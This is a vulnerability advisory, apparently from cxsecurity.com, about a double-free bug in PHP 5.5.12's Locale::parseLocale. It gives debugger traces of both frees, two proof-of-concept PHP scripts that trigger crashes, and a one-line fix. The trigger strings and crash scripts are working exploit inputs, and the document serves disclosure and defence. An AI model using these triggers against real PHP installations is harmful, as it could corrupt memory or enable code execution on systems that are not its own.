PHP 5.5.12 Locale::parseLocale Memory Corruption

2014.11.25
Credit: John Leitch
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Description: ------------ PHP 5.5.12 suffers from a memory corruption vulnerability that could potentially be exploited to achieve remote code execution. The vulnerability exists due to inconsistent behavior in the get_icu_value_internal function of ext\intl\locale\locale_methods.c. In most cases, get_icu_value_internal allocates memory that the caller is expected to free. However, if the first argument, loc_name, satisfies the conditions specified by the isIDPrefix macro (figure 1), and fromParseLocal is true, loc_name itself is returned. If a caller abides by contract and frees the return value of such a call, then the pointer passed via loc_name is freed again elsewhere, a double free occurs. Figure 1. Macros used by get_icu_value_internal. #define isIDSeparator(a) (a == '_' || a == '-') [...] #define isPrefixLetter(a) ((a=='x')||(a=='X')||(a=='i')||(a=='I')) [...] #define isIDPrefix(s) (isPrefixLetter(s[0])&&isIDSeparator(s[1])) The zif_locale_parse function, which is exported to PHP as Locale::parseLocale, makes a call to get_icu_value_internal with potentially untrusted data. By passing a specially crafted locale (figure 2), remote code execution may be possible. The exploitability of this vulnerability is dependent on the attack surface of a given application. In instances where the locale string is exposed as a user configuration setting, it may be possible to achieve either pre- or post-authentication remote code execution. In other scenarios this vulnerability may serve as a means to achieve privilege escalation. Figure 2. A call to Locale::parseLocale that triggers the exploitable condition. Locale::parseLocale("x-AAAAAA"); Details for the two frees are shown in figures 3 and 4. Figure 3. The first free. 0:000> kP ChildEBP RetAddr 016af25c 7146d7a3 php5ts!_efree( void * ptr = 0x030bf1e0)+0x62 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440] 016af290 7146f6a2 php_intl!add_array_entry( char * loc_name = 0x0179028c "", struct _zval_struct * hash_arr = 0x00000018, char * key_name = 0x71489e60 "language", void *** tsrm_ls = 0x7146f6a2)+0x1d3 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\ext\intl\locale\locale_methods.c @ 1073] 016af2b0 0f0c15ab php_intl!zif_locale_parse( int ht = 0n1, struct _zval_struct * return_value = 0x030bf4c8, struct _zval_struct ** return_value_ptr = 0x00000000, struct _zval_struct * this_ptr = 0x00000000, int return_value_used = 0n1, void *** tsrm_ls = 0x0178be38)+0xb2 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\ext\intl\locale\locale_methods.c @ 1115] 016af314 0f0c0c07 php5ts!zend_do_fcall_common_helper_SPEC( struct _zend_execute_data * execute_data = 0x0179028c, void *** tsrm_ls = 0x00000018)+0x1cb [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 551] 016af358 0f114757 php5ts!execute_ex( struct _zend_execute_data * execute_data = 0x030bef20, void *** tsrm_ls = 0x0178be38)+0x397 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 363] 016af380 0f0e60ea php5ts!zend_execute( struct _zend_op_array * op_array = 0x030be5f0, void *** tsrm_ls = 0x00000007)+0x1c7 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 388] 016af3b4 0f0e4a00 php5ts!zend_execute_scripts( int type = 0n8, void *** tsrm_ls = 0x00000001, struct _zval_struct ** retval = 0x00000000, int file_count = 0n3)+0x14a [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend.c @ 1317] 016af5c0 00cc21fb php5ts!php_execute_script( struct _zend_file_handle * primary_file = <Memory access error>, void *** tsrm_ls = <Memory access error>)+0x190 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\main\main.c @ 2506] 016af844 00cc2ed1 php!do_cli( int argc = 0n24707724, char ** argv = 0x00000018, void *** tsrm_ls = 0x0178be38)+0x87b [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 995] 016af8e0 00cca05e php!main( int argc = 0n2, char ** argv = 0x01791d68)+0x4c1 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 1378] 016af920 76e1919f php!__tmainCRTStartup(void)+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 536] 016af92c 770ba8cb KERNEL32!BaseThreadInitThunk+0xe 016af970 770ba8a1 ntdll!__RtlUserThreadStart+0x20 016af980 00000000 ntdll!_RtlUserThreadStart+0x1b 0:000> ub eip php5ts!_efree+0x49 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440]: 0f0b1ef9 732e jae php5ts!_efree+0x79 (0f0b1f29) 0f0b1efb 817e4c00000200 cmp dword ptr [esi+4Ch],20000h 0f0b1f02 7325 jae php5ts!_efree+0x79 (0f0b1f29) 0f0b1f04 8bc2 mov eax,edx 0f0b1f06 c1e803 shr eax,3 0f0b1f09 8d0c86 lea ecx,[esi+eax*4] 0f0b1f0c 8b4148 mov eax,dword ptr [ecx+48h] 0f0b1f0f 894708 mov dword ptr [edi+8],eax 0:000> u eip php5ts!_efree+0x62 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440]: 0f0b1f12 897948 mov dword ptr [ecx+48h],edi 0f0b1f15 01564c add dword ptr [esi+4Ch],edx 0f0b1f18 a148456a0f mov eax,dword ptr [php5ts!zend_unblock_interruptions (0f6a4548)] 0f0b1f1d 85c0 test eax,eax 0f0b1f1f 0f851d040000 jne php5ts!_efree+0x492 (0f0b2342) 0f0b1f25 5f pop edi 0f0b1f26 5e pop esi 0f0b1f27 59 pop ecx 0:000> ?edi+8 Evaluate expression: 51114464 = 030bf1e0 0:000> dc edi+8 030bf1e0 00000000 41414141 00000000 00000000 ....AAAA........ 030bf1f0 00000011 00000019 61636f6c 0300656c ........locale.. 030bf200 00000011 00000011 6e697270 00725f74 ........print_r. 030bf210 00000109 00000011 030bf320 030bf210 ........ ....... 030bf220 01790494 00000000 00000000 00000000 ..y............. 030bf230 00000000 00000000 00000000 00000000 ................ 030bf240 00000000 00000000 00000000 00000000 ................ 030bf250 00000000 00000000 00000000 00000000 ................ Figure 4. The second free. 0:000> kP ChildEBP RetAddr 016af2c4 0f0c1813 php5ts!_zval_dtor_func( struct _zval_struct * zvalue = 0x030bf3f8)+0x7f [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_variables.c @ 36] 016af314 0f0c0c07 php5ts!zend_do_fcall_common_helper_SPEC( struct _zend_execute_data * execute_data = 0x0179028c, void *** tsrm_ls = 0x00000018)+0x433 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 642] 016af358 0f114757 php5ts!execute_ex( struct _zend_execute_data * execute_data = 0x030bef20, void *** tsrm_ls = 0x0178be38)+0x397 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 363] 016af380 0f0e60ea php5ts!zend_execute( struct _zend_op_array * op_array = 0x030be5f0, void *** tsrm_ls = 0x00000007)+0x1c7 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 388] 016af3b4 0f0e4a00 php5ts!zend_execute_scripts( int type = 0n8, void *** tsrm_ls = 0x00000001, struct _zval_struct ** retval = 0x00000000, int file_count = 0n3)+0x14a [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend.c @ 1317] 016af5c0 00cc21fb php5ts!php_execute_script( struct _zend_file_handle * primary_file = <Memory access error>, void *** tsrm_ls = <Memory access error>)+0x190 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\main\main.c @ 2506] 016af844 00cc2ed1 php!do_cli( int argc = 0n24707724, char ** argv = 0x00000018, void *** tsrm_ls = 0x0178be38)+0x87b [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 995] 016af8e0 00cca05e php!main( int argc = 0n2, char ** argv = 0x01791d68)+0x4c1 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 1378] 016af920 76e1919f php!__tmainCRTStartup(void)+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 536] 016af92c 770ba8cb KERNEL32!BaseThreadInitThunk+0xe 016af970 770ba8a1 ntdll!__RtlUserThreadStart+0x20 016af980 00000000 ntdll!_RtlUserThreadStart+0x1b 0:000> ub eip php5ts!_zval_dtor_func+0x5e [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_variables.c @ 36]: 0f0b1cae 0f8394000000 jae php5ts!_zval_dtor_func+0xf8 (0f0b1d48) 0f0b1cb4 817f4c00000200 cmp dword ptr [edi+4Ch],20000h 0f0b1cbb 0f8387000000 jae php5ts!_zval_dtor_func+0xf8 (0f0b1d48) 0f0b1cc1 8bc2 mov eax,edx 0f0b1cc3 c1e803 shr eax,3 0f0b1cc6 8d0c87 lea ecx,[edi+eax*4] 0f0b1cc9 8b4148 mov eax,dword ptr [ecx+48h] 0f0b1ccc 894608 mov dword ptr [esi+8],eax 0:000> u eip php5ts!_zval_dtor_func+0x7f [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_variables.c @ 36]: 0f0b1ccf 897148 mov dword ptr [ecx+48h],esi 0f0b1cd2 01574c add dword ptr [edi+4Ch],edx 0f0b1cd5 a148456a0f mov eax,dword ptr [php5ts!zend_unblock_interruptions (0f6a4548)] 0f0b1cda 85c0 test eax,eax 0f0b1cdc 0f8591010000 jne php5ts!_zval_dtor_func+0x223 (0f0b1e73) 0f0b1ce2 5f pop edi 0f0b1ce3 5e pop esi 0f0b1ce4 c3 ret 0:000> ?esi+8 Evaluate expression: 51114464 = 030bf1e0 0:000> dc esi+8 030bf1e0 030bf1d8 41414141 00000000 00000000 ....AAAA........ 030bf1f0 00000011 00000019 61636f6c 0300656c ........locale.. 030bf200 00000011 00000011 6e697270 00725f74 ........print_r. 030bf210 00000109 00000011 030bf320 030bf210 ........ ....... 030bf220 01790494 00000000 00000000 00000000 ..y............. 030bf230 00000000 00000000 00000000 00000000 ................ 030bf240 00000000 00000000 00000000 00000000 ................ 030bf250 00000000 00000000 00000000 00000000 ................ The outcome of the double free depends on the arrangement of the heap. A simple script that produces a variety of read access violations is shown in figure 5, and another that reliably produces data execution prevention access violations is provided in figure 6. Figure 5. A script that produces a variety of AVs. <?php Locale::parseLocale("x-AAAAAA"); $foo = new SplTempFileObject(); ?> Figure 6. A script that reliably produces DEPAVs. <?php Locale::parseLocale("x-7-644T-42-1Q-7346A896-656s-75nKaOG"); $pe = new SQLite3($pe, new PDOException(($pe->{new ReflectionParameter(TRUE, new RecursiveTreeIterator((null > ($pe+=new RecursiveCallbackFilterIterator((object)$G16 = new Directory(), DatePeriod::__set_state()))), (array)$h453 = new ReflectionMethod(($pe[TRUE]), $G16->rewind((array)"mymqaodaokubaf")), ($h453->getShortName() === null), ($I68TB = new InvalidArgumentException($H03 = new DOMStringList(), null, (string)MessageFormatter::create($sC = new AppendIterator(), new DOMUserDataHandler())) & null)))}), ($h453[(bool)DateInterval::__set_state()]), new PDOStatement()), TRUE); $H03->item((unset)$gn = new SplStack()); $sC->valid(); ?> To fix the vulnerability, get_icu_value_internal should be modified to return a copy of loc_name rather than loc_name itself. This can be done easily using the estrdup function. The single line fix is shown in figures 7 and 8. Figure 7. The original code. if( strcmp(tag_name , LOC_LANG_TAG)==0 ){ if( strlen(loc_name)>1 && (isIDPrefix(loc_name) ==1 ) ){ return (char *)loc_name; } } Figure 8. The fixed code. if( strcmp(tag_name , LOC_LANG_TAG)==0 ){ if( strlen(loc_name)>1 && (isIDPrefix(loc_name) ==1 ) ){ return estrdup(loc_name); } }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top